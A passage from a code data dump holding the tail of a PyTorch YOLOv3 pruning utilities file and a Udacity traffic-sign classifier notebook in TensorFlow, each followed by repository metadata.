cfg file in %s' % prunedcfg)\n    return prunedcfg\n\n\ndef route_problem(model, ind):\n    ds = list(model.children())\n    dsas = list(ds[0].children())\n\n    # print('-----------',dsas[90])\n    sum1 = 0\n    # print(dsas[90].named_children())\n    for k in range(ind + 1):\n        # print('k:',k)\n        for i in dsas[k].named_children():\n            # print('i:',i)\n            if \"_\".join(i[0].split(\"_\")[0:-1]) == 'conv_with_bn':\n                sum1 = sum1 + 1\n    # print(sum1)\n    return sum1 - 1\n\n\ndef dontprune(model):\n    dontprune = []\n    nnlist = model.module_list\n    for i in range(len(nnlist)):\n        for name in nnlist[i].named_children():\n            if name[0].split(\"_\")[0] == 'shortcut':\n                if 'conv' in list(nnlist[name[1].froms + i].named_children())[0][0]:\n                    dontprune.append(name[1].froms + i)\n                else:\n                    dontprune.append(name[1].froms + i - 1)\n                dontprune.append(i - 1)\n    return dontprune\n\n\ndef coco_class_count(path='../coco/labels/train2014/'):\n    import glob\n\n    nC = 80  # number classes\n    x = np.zeros(nC, dtype='int32')\n    files = sorted(glob.glob('%s/*.*' % path))\n    for i, file in enumerate(files):\n        labels = np.loadtxt(file, dtype=np.float32).reshape(-1, 5)\n        x += np.bincount(labels[:, 0].astype('int32'), minlength=nC)\n        print(i, len(files))\n\n\ndef plot_results():\n    # Plot YOLO training results file 'results.txt'\n    import glob\n    import numpy as np\n    import matplotlib.pyplot as plt\n    plt.figure(figsize=(16, 8))\n    s = ['X', 'Y', 'Width', 'Height', 'Objectness', 'Classification', 'Total Loss', 'Precision', 'Recall', 'mAP']\n    files = sorted(glob.glob('results*.txt'))\n    for f in files:\n        results = np.loadtxt(f, usecols=[2, 3, 4, 5, 6, 7, 8, 17, 18, 16]).T  # column 16 is mAP\n        n = results.shape[1]\n        for i in range(10):\n            plt.subplot(2, 5, i + 1)\n            plt.plot(range(1, n), results[i, 1:], marker='.', label=f)\n            plt.title(s[i])\n            if i == 0:\n                plt.legend()\n\n\ndef plot_one_box(x, img, color=None, label=None, line_thickness=None):  # Plots one bounding box on image img\n    tl = line_thickness or round(0.002 * max(img.shape[0:2])) + 1  # line thickness\n    color = color or [random.randint(0, 255) for _ in range(3)]\n    c1, c2 = (int(x[0]), int(x[1])), (int(x[2]), int(x[3]))\n    cv2.rectangle(img, c1, c2, color, thickness=tl)\n    if label:\n        tf = max(tl - 1, 1)  # font thickness\n        t_size = cv2.getTextSize(label, 0, fontScale=tl / 3, thickness=tf)[0]\n        c2 = c1[0] + t_size[0], c1[1] - t_size[1] - 3\n        cv2.rectangle(img, c1, c2, color, -1)  # filled\n        cv2.putText(img, label, (c1[0], c1[1] - 2), 0, tl / 3, [225, 255, 255], thickness=tf, lineType=cv2.LINE_AA)\n\n# def model_info(model, report='full'):\n#     # Plots a line-by-line description of a PyTorch model\n#     n_p = sum(x.numel() for x in model.parameters())  # number parameters\n#     n_g = sum(x.numel() for x in model.parameters() if x.requires_grad)  # number gradients\n#     if report is 'full':\n#         print('%5s %40s %9s %12s %20s %10s %10s' % ('layer', 'name', 'gradient', 'parameters', 'shape', 'mu', 'sigma'))\n#         for i, (name, p) in enumerate(model.named_parameters()):\n#             name = name.replace('module_list.', '')\n#             print('%5g %40s %9s %12g %20s %10.3g %10.3g' %\n#                   (i, name, p.requires_grad, p.numel(), list(p.shape), p.mean(), p.std()))\n#     print('Model Summary: %g layers, %g parameters, %g gradients' % (len(list(model.parameters())), n_p, n_g))\n", "meta": {"hexsha": "32d84854c6dcd00ae368d503d0daec72b3f8b852", "size": 22363, "ext": "py", "lang": "Python", "max_stars_repo_path": "utils/utils.py", "max_stars_repo_name": "shentanyue/Pytorch-yolov3-trainv3", "max_stars_repo_head_hexsha": "26d85c82fdfc7bef7c2b6e70b56a9e2c254a81bf", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2019-01-29T07:12:57.000Z", "max_stars_repo_stars_event_max_datetime": "2019-06-05T10:21:58.000Z", "max_issues_repo_path": "utils/utils.py", "max_issues_repo_name": "shentanyue/Pytorch-yolov3-prune-faster", "max_issues_repo_head_hexsha": "26d85c82fdfc7bef7c2b6e70b56a9e2c254a81bf", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2019-06-13T08:37:04.000Z", "max_issues_repo_issues_event_max_datetime": "2019-06-13T08:37:04.000Z", "max_forks_repo_path": "utils/utils.py", "max_forks_repo_name": "shentanyue/Pytorch-yolov3-prune-faster", "max_forks_repo_head_hexsha": "26d85c82fdfc7bef7c2b6e70b56a9e2c254a81bf", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.9578754579, "max_line_length": 127, "alphanum_fraction": 0.5491660332, "include": true, "reason": "import numpy,from scipy", "num_tokens": 7548, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230156, "lm_q2_score": 0.17328821019878957, "lm_q1q2_score": 0.08935085233849209}}
{"text": "\n# coding: utf-8\n\n# # Self-Driving Car Engineer Nanodegree\n# \n# ## Deep Learning\n# \n# ## Project: Build a Traffic Sign Recognition Classifier\n# \n# In this notebook, a template is provided for you to implement your functionality in stages, which is required to successfully complete this project. If additional code is required that cannot be included in the notebook, be sure that the Python code is successfully imported and included in your submission if necessary. \n# \n# > **Note**: Once you have completed all of the code implementations, you need to finalize your work by exporting the iPython Notebook as an HTML document. Before exporting the notebook to html, all of the code cells need to have been run so that reviewers can see the final implementation and output. You can then export the notebook by using the menu above and navigating to  \\n\",\n#     \"**File -> Download as -> HTML (.html)**. Include the finished document along with this notebook as your submission. \n# \n# In addition to implementing code, there is a writeup to complete. The writeup should be completed in a separate file, which can be either a markdown file or a pdf document. There is a [write up template](https://github.com/udacity/CarND-Traffic-Sign-Classifier-Project/blob/master/writeup_template.md) that can be used to guide the writing process. Completing the code template and writeup template will cover all of the [rubric points](https://review.udacity.com/#!/rubrics/481/view) for this project.\n# \n# The [rubric](https://review.udacity.com/#!/rubrics/481/view) contains \"Stand Out Suggestions\" for enhancing the project beyond the minimum requirements. The stand out suggestions are optional. If you decide to pursue the \"stand out suggestions\", you can include the code in this Ipython notebook and also discuss the results in the writeup file.\n# \n# \n# >**Note:** Code and Markdown cells can be executed using the **Shift + Enter** keyboard shortcut. In addition, Markdown cells can be edited by typically double-clicking the cell to enter edit mode.\n\n# ---\n# ## Step 0: Load The Data\n\n# In[1]:\n\n\n# Load pickled data\nimport pickle\n\n# TODO: Fill this in based on where you saved the training and testing data\n\ntraining_file = 'train.p'\nvalidation_file = 'valid.p'\ntesting_file = 'test.p'\n\nwith open(training_file, mode='rb') as f:\n    train = pickle.load(f)\nwith open(validation_file, mode='rb') as f:\n    valid = pickle.load(f)\nwith open(testing_file, mode='rb') as f:\n    test = pickle.load(f)\n    \nX_train, y_train = train['features'], train['labels']\nX_valid, y_valid = valid['features'], valid['labels']\nX_test, y_test = test['features'], test['labels']\n\n\n# ---\n# \n# ## Step 1: Dataset Summary & Exploration\n# \n# The pickled data is a dictionary with 4 key/value pairs:\n# \n# - `'features'` is a 4D array containing raw pixel data of the traffic sign images, (num examples, width, height, channels).\n# - `'labels'` is a 1D array containing the label/class id of the traffic sign. The file `signnames.csv` contains id -> name mappings for each id.\n# - `'sizes'` is a list containing tuples, (width, height) representing the original width and height the image.\n# - `'coords'` is a list containing tuples, (x1, y1, x2, y2) representing coordinates of a bounding box around the sign in the image. **THESE COORDINATES ASSUME THE ORIGINAL IMAGE. THE PICKLED DATA CONTAINS RESIZED VERSIONS (32 by 32) OF THESE IMAGES**\n# \n# Complete the basic data summary below. Use python, numpy and/or pandas methods to calculate the data summary rather than hard coding the results. For example, the [pandas shape method](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.shape.html) might be useful for calculating some of the summary results. \n\n# ### Provide a Basic Summary of the Data Set Using Python, Numpy and/or Pandas\n\n# In[2]:\n\n\n### Replace each question mark with the appropriate value. \n### Use python, pandas or numpy methods rather than hard coding the results\n\n# TODO: Number of training examples\nn_train = X_train.shape[0]\n\n# TODO: Number of validation examples\nn_validation = X_valid.shape[0]\n\n# TODO: Number of testing examples.\nn_test = X_test.shape[0]\n\n# TODO: What's the shape of an traffic sign image?\nimage_shape = X_train.shape[1:3]\n\nimport csv\nsign_names = []\nwith open('signnames.csv') as csvfile:\n    reader = csv.DictReader(csvfile)\n    for row in reader:\n        sign_names.append(row['SignName'])\n\n# TODO: How many unique classes/labels there are in the dataset.\nn_classes = len(sign_names)\n\n\nprint(\"Number of training examples =\", n_train)\nprint(\"Number of validation examples =\", n_validation)\nprint(\"Number of testing examples =\", n_test)\nprint(\"Image data shape =\", image_shape)\nprint(\"Number of classes =\", n_classes)\n\n\n# ### Include an exploratory visualization of the dataset\n\n# Visualize the German Traffic Signs Dataset using the pickled file(s). This is open ended, suggestions include: plotting traffic sign images, plotting the count of each sign, etc. \n# \n# The [Matplotlib](http://matplotlib.org/) [examples](http://matplotlib.org/examples/index.html) and [gallery](http://matplotlib.org/gallery.html) pages are a great resource for doing visualizations in Python.\n# \n# **NOTE:** It's recommended you start with something simple first. If you wish to do more, come back to it after you've completed the rest of the sections. It can be interesting to look at the distribution of classes in the training, validation and test set. Is the distribution the same? Are there more examples of some classes than others?\n\n# In[45]:\n\n\n### Data exploration visualization code goes here.\n### Feel free to use as many code cells as needed.\nimport matplotlib.pyplot as plt\n# Visualizations will be shown in the notebook.\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport random\nimport numpy as np\n\n\nindex = random.randint(0, len(X_train))\nimage = X_train[index].squeeze()\n\nplt.figure(figsize=(1,1))\nplt.imshow(image)\nplt.title(sign_names[y_train[index]])\n\nsign_counts = {}\nfor i in range(n_train):\n    if sign_names[y_train[i]] not in sign_counts:\n        sign_counts[sign_names[y_train[i]]] = 0\n    sign_counts[sign_names[y_train[i]]] = sign_counts[sign_names[y_train[i]]] + 1\n\nplt.figure()\nfig, ax = plt.subplots()\nplt.bar(range(len(sign_names)), sign_counts.values())\nplt.title('distributions of sign types by index')\n\n\n# ----\n# \n# ## Step 2: Design and Test a Model Architecture\n# \n# Design and implement a deep learning model that learns to recognize traffic signs. Train and test your model on the [German Traffic Sign Dataset](http://benchmark.ini.rub.de/?section=gtsrb&subsection=dataset).\n# \n# The LeNet-5 implementation shown in the [classroom](https://classroom.udacity.com/nanodegrees/nd013/parts/fbf77062-5703-404e-b60c-95b78b2f3f9e/modules/6df7ae49-c61c-4bb2-a23e-6527e69209ec/lessons/601ae704-1035-4287-8b11-e2c2716217ad/concepts/d4aca031-508f-4e0b-b493-e7b706120f81) at the end of the CNN lesson is a solid starting point. You'll have to change the number of classes and possibly the preprocessing, but aside from that it's plug and play! \n# \n# With the LeNet-5 solution from the lecture, you should expect a validation set accuracy of about 0.89. To meet specifications, the validation set accuracy will need to be at least 0.93. It is possible to get an even higher accuracy, but 0.93 is the minimum for a successful project submission. \n# \n# There are various aspects to consider when thinking about this problem:\n# \n# - Neural network architecture (is the network over or underfitting?)\n# - Play around preprocessing techniques (normalization, rgb to grayscale, etc)\n# - Number of examples per label (some have more than others).\n# - Generate fake data.\n# \n# Here is an example of a [published baseline model on this problem](http://yann.lecun.com/exdb/publis/pdf/sermanet-ijcnn-11.pdf). It's not required to be familiar with the approach used in the paper but, it's good practice to try to read papers like these.\n\n# ### Pre-process the Data Set (normalization, grayscale, etc.)\n\n# Minimally, the image data should be normalized so that the data has mean zero and equal variance. For image data, `(pixel - 128)/ 128` is a quick way to approximately normalize the data and can be used in this project. \n# \n# Other pre-processing steps are optional. You can try different techniques to see if it improves performance. \n# \n# Use the code cell (or multiple code cells, if necessary) to implement the first step of your project.\n\n# In[4]:\n\n\n### Preprocess the data here. It is required to normalize the data. Other preprocessing steps could include \n### converting to grayscale, etc.\n### Feel free to use as many code cells as needed.\n\n\n# In[46]:\n\n\n# Normalize to scale of 1, centered at 0\nX_train_normalized = (X_train-128.)/128.\n\n\n# ### Model Architecture\n\n# In[6]:\n\n\n### Define your architecture here.\n### Feel free to use as many code cells as needed\n\nimport tensorflow as tf\n\nEPOCHS = 40\nBATCH_SIZE = 256\n\n\n# In[7]:\n\n\nfrom tensorflow.contrib.layers import flatten\n\ndef LeNet(x):    \n    # Arguments used for tf.truncated_normal, randomly defines variables for the weights and biases for each layer\n    mu = 0\n    sigma = 0.1\n    \n    # SOLUTION: Layer 1: Convolutional. Input = 32x32x3. Output = 28x28x6.\n    conv1_W = tf.Variable(tf.truncated_normal(shape=(5, 5, 3, 6), mean = mu, stddev = sigma))\n    conv1_b = tf.Variable(tf.zeros(6))\n    conv1   = tf.nn.conv2d(x, conv1_W, strides=[1, 1, 1, 1], padding='VALID') + conv1_b\n\n    # SOLUTION: Activation.\n    conv1 = tf.nn.relu(conv1)\n\n    # SOLUTION: Pooling. Input = 28x28x6. Output = 14x14x6.\n    conv1 = tf.nn.max_pool(conv1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='VALID')\n\n    # SOLUTION: Layer 2: Convolutional. Output = 10x10x16.\n    conv2_W = tf.Variable(tf.truncated_normal(shape=(5, 5, 6, 16), mean = mu, stddev = sigma))\n    conv2_b = tf.Variable(tf.zeros(16))\n    conv2   = tf.nn.conv2d(conv1, conv2_W, strides=[1, 1, 1, 1], padding='VALID') + conv2_b\n    \n    # SOLUTION: Activation.\n    conv2 = tf.nn.relu(conv2)\n\n    # 1x1 convolution from 16 channels to 24 channels\n    conv3_W = tf.Variable(tf.truncated_normal(shape=(1, 1, 16, 24), mean = mu, stddev = sigma))\n    conv3_b = tf.Variable(tf.zeros(24))\n    conv3   = tf.nn.conv2d(conv2, conv3_W, strides=[1, 1, 1, 1], padding='VALID') + conv3_b\n    \n    # Activation\n    conv3 = tf.nn.relu(conv3)\n    \n    # Layer 4: convolution from 10x10x24 to 6x6x32\n    conv4_W = tf.Variable(tf.truncated_normal(shape=(5, 5, 24, 32), mean = mu, stddev = sigma))\n    conv4_b = tf.Variable(tf.zeros(32))\n    conv4   = tf.nn.conv2d(conv3, conv4_W, strides=[1, 1, 1, 1], padding='VALID') + conv4_b\n    \n    # Activation\n    conv4 = tf.nn.relu(conv4)\n    \n    # SOLUTION: Flatten. Input = 6x6x32. Output = 1152.\n    fc0   = flatten(conv4)\n    \n    # SOLUTION: Layer 3: Fully Connected. Input = 1152. Output = 300.\n    fc1_W = tf.Variable(tf.truncated_normal(shape=(1152, 300), mean = mu, stddev = sigma))\n    fc1_b = tf.Variable(tf.zeros(300))\n    fc1   = tf.matmul(fc0, fc1_W) + fc1_b\n    \n    # SOLUTION: Activation.\n    fc1    = tf.nn.relu(fc1)\n\n    # SOLUTION: Layer 4: Fully Connected. Input = 300. Output = 100.\n    fc2_W  = tf.Variable(tf.truncated_normal(shape=(300, 100), mean = mu, stddev = sigma))\n    fc2_b  = tf.Variable(tf.zeros(100))\n    fc2    = tf.matmul(fc1, fc2_W) + fc2_b\n    \n    # SOLUTION: Activation.\n    fc2    = tf.nn.relu(fc2)\n\n    # SOLUTION: Layer 5: Fully Connected. Input = 100. Output = 43.\n    fc3_W  = tf.Variable(tf.truncated_normal(shape=(100, 43), mean = mu, stddev = sigma))\n    fc3_b  = tf.Variable(tf.zeros(43))\n    logits = tf.matmul(fc2, fc3_W) + fc3_b\n    \n    return logits\n\n\n# In[8]:\n\n\n# One hot encoding\nx = tf.placeholder(tf.float32, (None, 32, 32, 3))\ny = tf.placeholder(tf.int32, (None))\none_hot_y = tf.one_hot(y, 43)\n\n\n# ### Train, Validate and Test the Model\n\n# A validation set can be used to assess how well the model is performing. A low accuracy on the training and validation\n# sets imply underfitting. A high accuracy on the training set but low accuracy on the validation set implies overfitting.\n\n# In[9]:\n\n\n### Train your model here.\n### Calculate and report the accuracy on the training and validation set.\n### Once a final model architecture is selected, \n### the accuracy on the test set should be calculated and reported as well.\n### Feel free to use as many code cells as needed.\nrate = 0.001\n\nlogits = LeNet(x)\ncross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels=one_hot_y, logits=logits)\nloss_operation = tf.reduce_mean(cross_entropy)\noptimizer = tf.train.AdamOptimizer(learning_rate = rate)\ntraining_operation = optimizer.minimize(loss_operation)\n\n\n# In[10]:\n\n\ncorrect_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(one_hot_y, 1))\naccuracy_operation = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\nsaver = tf.train.Saver()\n\ndef evaluate(X_data, y_data):\n    num_examples = len(X_data)\n    total_accuracy = 0\n    sess = tf.get_default_session()\n    for offset in range(0, num_examples, BATCH_SIZE):\n        batch_x, batch_y = X_data[offset:offset+BATCH_SIZE], y_data[offset:offset+BATCH_SIZE]\n        accuracy = sess.run(accuracy_operation, feed_dict={x: batch_x, y: batch_y})\n        total_accuracy += (accuracy * len(batch_x))\n    return total_accuracy / num_examples\n\n\n# In[11]:\n\n\n# Normalize validation and test data\nX_valid = (X_valid-128.)/128.\nX_test = (X_test-128.)/128.\n\n\n# In[12]:\n\n\nfrom sklearn.utils import shuffle\n\nwith tf.Session() as sess:\n    sess.run(tf.global_variables_initializer())\n    num_examples = len(X_train_normalized)\n    \n    print(\"Training...\")\n    print()\n    for i in range(EPOCHS):\n        X_train_normalized, y_train = shuffle(X_train_normalized, y_train)\n        for offset in range(0, num_examples, BATCH_SIZE):\n            end = offset + BATCH_SIZE\n            batch_x, batch_y = X_train_normalized[offset:end], y_train[offset:end]\n            sess.run(training_operation, feed_dict={x: batch_x, y: batch_y})\n            \n        validation_accuracy = evaluate(X_valid, y_valid)\n        print(\"EPOCH {} ...\".format(i+1))\n        print(\"Validation Accuracy = {:.3f}\".format(validation_accuracy))\n        print()\n        \n    saver.save(sess, './lenet')\n    print(\"Model saved\")\n\n\n# In[13]:\n\n\nwith tf.Session() as sess:\n    saver.restore(sess, tf.train.latest_checkpoint('.'))\n\n    test_accuracy = evaluate(X_test, y_test)\n    print(\"Test Accuracy = {:.3f}\".format(test_accuracy))    \n\n\n# ---\n# \n# ## Step 3: Test a Model on New Images\n# \n# To give yourself more insight into how your model is working, download at least five pictures of German traffic signs from the web and use your model to predict the traffic sign type.\n# \n# You may find `signnames.csv` useful as it contains mappings from the class id (integer) to the actual sign name.\n\n# ### Load and Output the Images\n\n# In[14]:\n\n\n### Load the images and plot them here.\n### Feel free to use as many code cells as needed.\nimport cv2\n\n\n# In[47]:\n\n\nbike_image = cv2.imread(\"new_images/bike.jpg\")\nbike_resized = cv2.resize(bike_image,(32,32))\nplt.figure(figsize=(1,1))\nplt.imshow(bike_resized)\nplt.title('Bicycle crossing')\n\n\n# In[48]:\n\n\nrightofway_image = cv2.imread(\"new_images/rightofway.jpg\")\nrightofway_resized = cv2.resize(rightofway_image,(32,32))\nplt.figure(figsize=(1,1))\nplt.imshow(rightofway_resized)\nplt.title('Right of way at next intersection')\n\n\n# In[49]:\n\n\nsnow_image = cv2.imread(\"new_images/snow.jpg\")\nsnow_resized = cv2.resize(snow_image,(32,32))\nplt.figure(figsize=(1,1))\nplt.imshow(snow_resized)\nplt.title('Beware of ice/snow')\n\n\n# In[50]:\n\n\nspeedlimit_image = cv2.imread(\"new_images/speedlimit.jpg\")\nspeedlimit_resized = cv2.resize(speedlimit_image,(32,32))\nplt.figure(figsize=(1,1))\nplt.imshow(speedlimit_resized)\nplt.title('Speed limit, 120km/h')\n\n\n# In[51]:\n\n\nwork_image = cv2.imread(\"new_images/work.jpg\")\nwork_resized = cv2.resize(work_image,(32,32))\nplt.figure(figsize=(1,1))\nplt.imshow(work_resized)\nplt.title('Road work')\n\n\n# ### Predict the Sign Type for Each Image\n\n# In[20]:\n\n\n### Run the predictions here and use the model to output the prediction for each image.\n### Make sure to pre-process the images with the same pre-processing pipeline used earlier.\n### Feel free to use as many code cells as needed.\nX_new = np.array([bike_resized, rightofway_resized, snow_resized, speedlimit_resized, work_resized])\nprint(X_new.shape)\n\n\n# In[21]:\n\n\n# Preprocessing\nX_new_normalized = (X_new-128.)/128.\n\ny_new = np.array([29, 11, 30, 8, 25])\n\n\n# ### Analyze Performance\n\n# In[22]:\n\n\n### Calculate the accuracy for these 5 new images. \n### For example, if the model predicted 1 out of 5 signs correctly, it's 20% accurate on these new images.\nwith tf.Session() as sess:\n    saver.restore(sess, tf.train.latest_checkpoint('.'))\n    test_accuracy = evaluate(X_new_normalized, y_new)\n    print(\"Test Accuracy = {:.3f}\".format(test_accuracy)) \n\n\n# ### Output Top 5 Softmax Probabilities For Each Image Found on the Web\n\n# For each of the new images, print out the model's softmax probabilities to show the **certainty** of the model's predictions (limit the output to the top 5 probabilities for each image). [`tf.nn.top_k`](https://www.tensorflow.org/versions/r0.12/api_docs/python/nn.html#top_k) could prove helpful here. \n# \n# The example below demonstrates how tf.nn.top_k can be used to find the top k predictions for each image.\n# \n# `tf.nn.top_k` will return the values and indices (class ids) of the top k predictions. So if k=3, for each sign, it'll return the 3 largest probabilities (out of a possible 43) and the correspoding class ids.\n# \n# Take this numpy array as an example. The values in the array represent predictions. The array contains softmax probabilities for five candidate images with six possible classes. `tf.nn.top_k` is used to choose the three classes with the highest probability:\n# \n# ```\n# # (5, 6) array\n# a = np.array([[ 0.24879643,  0.07032244,  0.12641572,  0.34763842,  0.07893497,\n#          0.12789202],\n#        [ 0.28086119,  0.27569815,  0.08594638,  0.0178669 ,  0.18063401,\n#          0.15899337],\n#        [ 0.26076848,  0.23664738,  0.08020603,  0.07001922,  0.1134371 ,\n#          0.23892179],\n#        [ 0.11943333,  0.29198961,  0.02605103,  0.26234032,  0.1351348 ,\n#          0.16505091],\n#        [ 0.09561176,  0.34396535,  0.0643941 ,  0.16240774,  0.24206137,\n#          0.09155967]])\n# ```\n# \n# Running it through `sess.run(tf.nn.top_k(tf.constant(a), k=3))` produces:\n# \n# ```\n# TopKV2(values=array([[ 0.34763842,  0.24879643,  0.12789202],\n#        [ 0.28086119,  0.27569815,  0.18063401],\n#        [ 0.26076848,  0.23892179,  0.23664738],\n#        [ 0.29198961,  0.26234032,  0.16505091],\n#        [ 0.34396535,  0.24206137,  0.16240774]]), indices=array([[3, 0, 5],\n#        [0, 1, 4],\n#        [0, 5, 1],\n#        [1, 3, 5],\n#        [1, 4, 3]], dtype=int32))\n# ```\n# \n# Looking just at the first row we get `[ 0.34763842,  0.24879643,  0.12789202]`, you can confirm these are the 3 largest probabilities in `a`. You'll also notice `[3, 0, 5]` are the corresponding indices.\n\n# In[ ]:\n\n\n### Print out the top five softmax probabilities for the predictions on the German traffic sign images found on the web. \n### Feel free to use as many code cells as needed.\n\n\n# In[34]:\n\n\nwith tf.Session() as sess:\n    saver.restore(sess, tf.train.latest_checkpoint('.'))\n    logit_tensor = sess.run(logits, feed_dict={x: X_new_normalized})\n    softmax = sess.run(tf.nn.softmax(logit_tensor))\n    top5 = sess.run(tf.nn.top_k(tf.constant(softmax), k=5))\n    print(top5[0])\n\n\n# In[40]:\n\n\nprint('names of predicted traffic signs')\nreal_sign_names = ['bike', 'rightofway', 'snow', 'speedlimit120', 'work']\nfor i, sign_indexes in enumerate(top5[1]):\n    print(str.format('top 5 signs predicted for {}', real_sign_names[i]))\n    print(list(map(lambda x: sign_names[x], sign_indexes)))\n\n\n# ### Project Writeup\n# \n# Once you have completed the code implementation, document your results in a project writeup using this [template](https://github.com/udacity/CarND-Traffic-Sign-Classifier-Project/blob/master/writeup_template.md) as a guide. The writeup can be in a markdown or pdf file. \n\n# > **Note**: Once you have completed all of the code implementations and successfully answered each question above, you may finalize your work by exporting the iPython Notebook as an HTML document. You can do this by using the menu above and navigating to  \\n\",\n#     \"**File -> Download as -> HTML (.html)**. Include the finished document along with this notebook as your submission.\n\n# ---\n# \n# ## Step 4 (Optional): Visualize the Neural Network's State with Test Images\n# \n#  This Section is not required to complete but acts as an additional excersise for understaning the output of a neural network's weights. While neural networks can be a great learning device they are often referred to as a black box. We can understand what the weights of a neural network look like better by plotting their feature maps. After successfully training your neural network you can see what it's feature maps look like by plotting the output of the network's weight layers in response to a test stimuli image. From these plotted feature maps, it's possible to see what characteristics of an image the network finds interesting. For a sign, maybe the inner network feature maps react with high activation to the sign's boundary outline or to the contrast in the sign's painted symbol.\n# \n#  Provided for you below is the function code that allows you to get the visualization output of any tensorflow weight layer you want. The inputs to the function should be a stimuli image, one used during training or a new one you provided, and then the tensorflow variable name that represents the layer's state during the training process, for instance if you wanted to see what the [LeNet lab's](https://classroom.udacity.com/nanodegrees/nd013/parts/fbf77062-5703-404e-b60c-95b78b2f3f9e/modules/6df7ae49-c61c-4bb2-a23e-6527e69209ec/lessons/601ae704-1035-4287-8b11-e2c2716217ad/concepts/d4aca031-508f-4e0b-b493-e7b706120f81) feature maps looked like for it's second convolutional layer you could enter conv2 as the tf_activation variable.\n# \n# For an example of what feature map outputs look like, check out NVIDIA's results in their paper [End-to-End Deep Learning for Self-Driving Cars](https://devblogs.nvidia.com/parallelforall/deep-learning-self-driving-cars/) in the section Visualization of internal CNN State. NVIDIA was able to show that their network's inner weights had high activations to road boundary lines by comparing feature maps from an image with a clear path to one without. Try experimenting with a similar test to show that your trained network's weights are looking for interesting features, whether it's looking at differences in feature maps from images with or without a sign, or even what feature maps look like in a trained network vs a completely untrained one on the same sign image.\n# \n# <figure>\n#  <img src=\"visualize_cnn.png\" width=\"380\" alt=\"Combined Image\" />\n#  <figcaption>\n#  <p></p> \n#  <p style=\"text-align: center;\"> Your output should look something like this (above)</p> \n#  </figcaption>\n# </figure>\n#  <p></p> \n# \n\n# In[ ]:\n\n\n### Visualize your network's feature maps here.\n### Feel free to use as many code cells as needed.\n\n# image_input: the test image being fed into the network to produce the feature maps\n# tf_activation: should be a tf variable name used during your training procedure that represents the calculated state of a specific weight layer\n# activation_min/max: can be used to view the activation contrast in more detail, by default matplot sets min and max to the actual min and max values of the output\n# plt_num: used to plot out multiple different weight feature map sets on the same block, just extend the plt number for each new feature map entry\n\ndef outputFeatureMap(image_input, tf_activation, activation_min=-1, activation_max=-1 ,plt_num=1):\n    # Here make sure to preprocess your image_input in a way your network expects\n    # with size, normalization, ect if needed\n    # image_input =\n    # Note: x should be the same name as your network's tensorflow data placeholder variable\n    # If you get an error tf_activation is not defined it may be having trouble accessing the variable from inside a function\n    activation = tf_activation.eval(session=sess,feed_dict={x : image_input})\n    featuremaps = activation.shape[3]\n    plt.figure(plt_num, figsize=(15,15))\n    for featuremap in range(featuremaps):\n        plt.subplot(6,8, featuremap+1) # sets the number of feature maps to show on each row and column\n        plt.title('FeatureMap ' + str(featuremap)) # displays the feature map number\n        if activation_min != -1 & activation_max != -1:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", vmin =activation_min, vmax=activation_max, cmap=\"gray\")\n        elif activation_max != -1:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", vmax=activation_max, cmap=\"gray\")\n        elif activation_min !=-1:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", vmin=activation_min, cmap=\"gray\")\n        else:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", cmap=\"gray\")\n\n", "meta": {"hexsha": "a201f77efea4d755ed99ea26f2c1dd43d3cfdd5b", "size": 25347, "ext": "py", "lang": "Python", "max_stars_repo_path": "Traffic_Sign_Classifier-solution.py", "max_stars_repo_name": "nickcordella/CarND-Traffic-Sign-Classifier-Submission2", "max_stars_repo_head_hexsha": "cc378bd08503faf25e78a58c53a950a957f2046a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Traffic_Sign_Classifier-solution.py", "max_issues_repo_name": "nickcordella/CarND-Traffic-Sign-Classifier-Submission2", "max_issues_repo_head_hexsha": "cc378bd08503faf25e78a58c53a950a957f2046a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Traffic_Sign_Classifier-solution.py", "max_forks_repo_name": "nickcordella/CarND-Traffic-Sign-Classifier-Submission2", "max_forks_repo_head_hexsha": "cc378bd08503faf25e78a58c53a950a957f2046a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.9610169492, "max_line_length": 796, "alphanum_fraction": 0.7196512408, "include": true, "reason": "import numpy", "num_tokens": 6644, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4649015713733885, "lm_q2_score": 0.19193278875832634, "lm_q1q2_score": 0.08922985509182255}}
